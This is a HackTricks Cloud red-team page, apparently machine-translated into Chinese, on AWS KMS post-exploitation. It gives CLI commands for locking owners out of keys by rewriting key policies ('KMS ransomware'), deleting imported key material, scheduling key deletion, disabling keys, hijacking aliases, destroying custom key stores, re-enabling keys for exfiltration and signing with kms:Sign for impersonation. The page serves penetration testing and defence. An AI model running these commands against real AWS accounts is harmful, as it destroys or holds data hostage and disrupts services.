AWS - KMS Post Exploitation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
KMS
更多信息请查看:
加密/解密 信息
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:以二进制模式读取文件,常用于非文本文件。file://:以文本模式读取文件,通常用于纯文本文件、脚本或不需要特殊编码的 JSON。
Tip
注意:如果你想解密文件中的某些数据,文件必须包含二进制数据,而不是 base64 编码的数据。(fileb://)
- 使用 对称 密钥
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- 使用 非对称 密钥:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
具有 KMS 特权访问的攻击者可以修改密钥的 KMS policy 并 将这些密钥的访问权限授予他的账户,从而移除合法账户被授予的访问权限。
然后,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而在该账户上制造一个简单但有效的 ransomware。
Warning
请注意,AWS managed keys aren’t affected,此攻击仅影响 Customer managed keys。
另外请注意需要使用参数
--bypass-policy-lockout-safety-check(Web 控制台缺少此选项,使得该攻击只能通过 CLI 执行)。
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
注意,如果你更改该策略并仅给予一个外部账户访问权限,然后从该外部账户尝试设置一个新策略以将访问权限还给原始账户,你将无法做到,因为 Put Polocy action 无法从跨账户执行。
.png)
通用 KMS Ransomware
还有另一种执行全局 KMS Ransomware 的方法,步骤如下:
- 创建一个新的 key with a key material,其密钥材料由攻击者导入
- Re-encrypt older data:将受害者使用旧版本加密的旧数据用新密钥重新加密
- Delete the KMS key
- 现在只有拥有原始 key material 的攻击者能够解密这些加密数据
Delete Keys via kms:DeleteImportedKeyMaterial
拥有 kms:DeleteImportedKeyMaterial 权限的主体可以从具有 Origin=EXTERNAL 的 CMKs 中删除导入的密钥材料(CMKs that have imperted their key material),使其无法解密数据。此操作具有破坏性且不可逆,除非重新导入兼容的材料,否则攻击者可以通过使加密信息永久不可访问来有效造成类似 ransomware 的数据丢失。
aws kms delete-imported-key-material --key-id <Key_ID>
销毁密钥
销毁密钥可能导致 DoS。
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
注意 AWS 现在阻止从跨账户执行先前的操作:
更改或删除 Alias
此攻击会删除或重定向 AWS KMS aliases,破坏密钥解析并导致依赖这些 aliases 的服务立即失败,从而引发 denial-of-service。拥有 kms:DeleteAlias 或 kms:UpdateAlias 等权限的攻击者可以移除或重新指向 aliases,干扰加密操作(例如 encrypt、describe)。任何引用 alias 而非 key ID 的服务都可能失败,直到 alias 恢复或正确重新映射为止。
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
拥有诸如 kms:CancelKeyDeletion 和 kms:EnableKey 之类的权限,攻击者可以取消对 AWS KMS customer master key 的计划删除并随后重新启用它。这样会恢复该密钥(最初处于 Disabled 状态),并恢复其解密先前受保护数据的能力,从而实现 exfiltration。
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
禁用密钥
具有 kms:DisableKey 权限的主体可以禁用 AWS KMS 客户主密钥 (CMK),阻止其用于加密或解密。 这会破坏任何依赖该 CMK 的服务的访问,并可能导致立即中断或拒绝服务,直到密钥被重新启用。
aws kms disable-key \
--key-id <key_id>
派生共享密钥
具有 kms:DeriveSharedSecret 权限的主体可以使用 KMS 持有的私钥加上用户提供的公钥来计算 ECDH 共享密钥。
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
通过 kms:Sign 实现冒充
拥有 kms:Sign 权限时,攻击者可以使用 KMS 存储的 CMK 对数据进行加密签名而无需暴露私钥,从而生成有效的签名,这些签名可以用于冒充或授权恶意操作。
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
具有类似 kms:DeleteCustomKeyStore、kms:DisconnectCustomKeyStore 或 kms:UpdateCustomKeyStore 的权限时,攻击者可以修改、断开或删除 AWS KMS Custom Key Store (CKS),使其主密钥无法使用。这会破坏依赖这些密钥的任何服务的加密、解密和签名操作,并可能导致立即的 denial-of-service。因此,对这些权限进行限制和监控至关重要。
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

